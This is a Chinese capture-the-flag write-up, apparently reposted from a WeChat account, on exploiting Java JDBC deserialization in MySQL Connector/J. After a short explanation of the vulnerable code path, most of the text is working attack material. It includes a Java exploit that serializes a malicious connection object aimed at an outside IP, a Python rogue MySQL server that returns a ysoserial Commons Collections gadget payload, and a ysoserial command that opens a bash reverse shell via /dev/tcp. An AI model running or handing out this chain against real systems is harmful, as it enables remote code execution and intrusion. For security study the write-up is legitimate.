JAVA-JDBC反序列化
前言
在午休的时候，闲的无聊，打开了nss，想找道题玩玩，加上一直想在java安全上有什么进步，于是就拿了道java的题目来做，结果还是完全不会做，在结合了大佬的文章后，也终于是搞出来了。
分析
JDBC
jdbc是java的一个api，简单来说，就是用于与数据库的连接，和执行对数据路的一些操作。在使用的时候，需要提前导入包。
反射
反射是java反序列化的一个基础，反射简单来说，就是我们可以通过反射去调用已知类的方法和属性，我们能通过反射的方式对一个类进行实例化。
代理
简单来说，就是我们把对一个对象的访问代理给了别人，就好像代理服务器一样，通过代理，我们能在原有功能的基础上添加很多功能。而代理的实现基础就是反射。
漏洞原理
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在 com.mysql.cj.jdbc.result.ResultSetImpl
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从这里我们可以发现，这里对obj进行了反序列化，而要走到这一步需要满足以下几个条件。
1.传输的参数必须是二进制数据或blob数据
2.autoDeserialize这个设定必须为true
3.必须为序列化数据
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而这个obj则是我们查询后的结果数据。我们接着看，看哪里调用了obj。 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()中的ResultSetUtil.resultSetToMap(toPopulate, rs)
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从代码可以看出，这里是执行了SHOW SESSION STATUSsql语句，然后把执行的结果传入了resulteToMap
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然后就是执行了getobject，对查询出来的数据进行了反序列化。
题目分析
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首先对jar进行反编译，获得到源码。 MainController
@GetMapping({"/hello"})
/* */ public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
/* 39 */ if (cookieData == null || cookieData.equals("")) {
/* 40 */ return "redirect:/index";
/* */ }
/* 42 */ Info info = (Info)deserialize(cookieData);
/* 43 */ if (info != null) {
/* 44 */ model.addAttribute("info", info.getAllInfo());
/* */ }
/* 46 */ return "hello"; }
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可以看到当我们访问hello的时候，会从cookie获取data的值进行反序列化。 InfoInvocationHandler.java
public class InfoInvocationHandler implements InvocationHandler, Serializable {
/* */ private Info info;
/* */
/* */ public InfoInvocationHandler(Info info) {
/* 12 */ this.info = info;
/* */ }
/* */
/* */
/* */ public Object invoke(Object proxy, Method method, Object[] args) {
/* */ try {
/* 18 */ if (method.getName().equals("getAllInfo") &&
/* 19 */ !this.info.checkAllInfo().booleanValue()) {
/* 20 */ return null;
/* */ }
/* */
/* 23 */ return method.invoke(this.info, args);
/* 24 */ } catch (Exception e) {
/* 25 */ e.printStackTrace();
/* 26 */ return null;
/* */ }
/* */ }
/* */ }
-
这里对invoke进行了重写，会调checkAllinfo方法。 -
DatabaseInfo
private void connect() {
/* 53 */ String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
/* */ try {
/* 55 */ this.connection = DriverManager.getConnection(url);
/* 56 */ } catch (Exception e) {
/* 57 */ e.printStackTrace();
/* */ }
/* */ }
/* */
/* */
/* */ public Boolean checkAllInfo() {
/* 63 */ if (this.host == null || this.port == null || this.username == null || this.password == null) {
/* 64 */ return Boolean.valueOf(false);
/* */ }
/* 66 */ if (this.connection == null) {
/* 67 */ connect();
/* */ }
/* 69 */ return Boolean.valueOf(true);
/* */ }
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在这里有一个checkAllInfo方法，里面调用了connect方法，而且connect方法内对sql语句进行了直接的拼接，然后去执行。这里直接用一个exp。
//Exp.java
//拿的ttpfx师傅的exp。
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.*;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws Exception {
DatabaseInfo db = new DatabaseInfo();
db.setHost("106.15.121.121");
db.setPort("3307");
db.setUsername("root");
db.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
ClassLoader classLoader = db.getClass().getClassLoader();
Class[] interfaces = db.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(db);
Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(proxy);
objectOutputStream.flush();
objectOutputStream.close();
String s = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.printf(s);
}
}
利用
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这里利用首先需要搭建一个mysql服务器，当发送查询请求的时候，把恶意的payload序列化数据返回。
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 9999
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
-
需要在服务器运行
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然后通过ysoserial.jar生成一个CC5链子。
JAVA -jar .yso.jar CommonsCollections5 "bash -c {echo,/bin/bash -i >& /dev/tcp/ip/port 0>&1(要base64编码)}|{base64,-d}|{bash,-i}" > payload
-
生成的payload要和mysql服务器脚本文件放一起，然后在服务器开启监听。使用这个exp生成攻击语句。然后通过cookie发送了这段序列化语句后，经过反序列化就会去调用databaseInfo的checkAllinfo方法，然后去执行sql语句，去访问我们的远程mysql服务器，最后获得payload的序列化字符串，再进行反序列化，然后成功反弹shell。
原文始发于微信公众号（珠天PearlSky）：JAVA-JDBC反序列化
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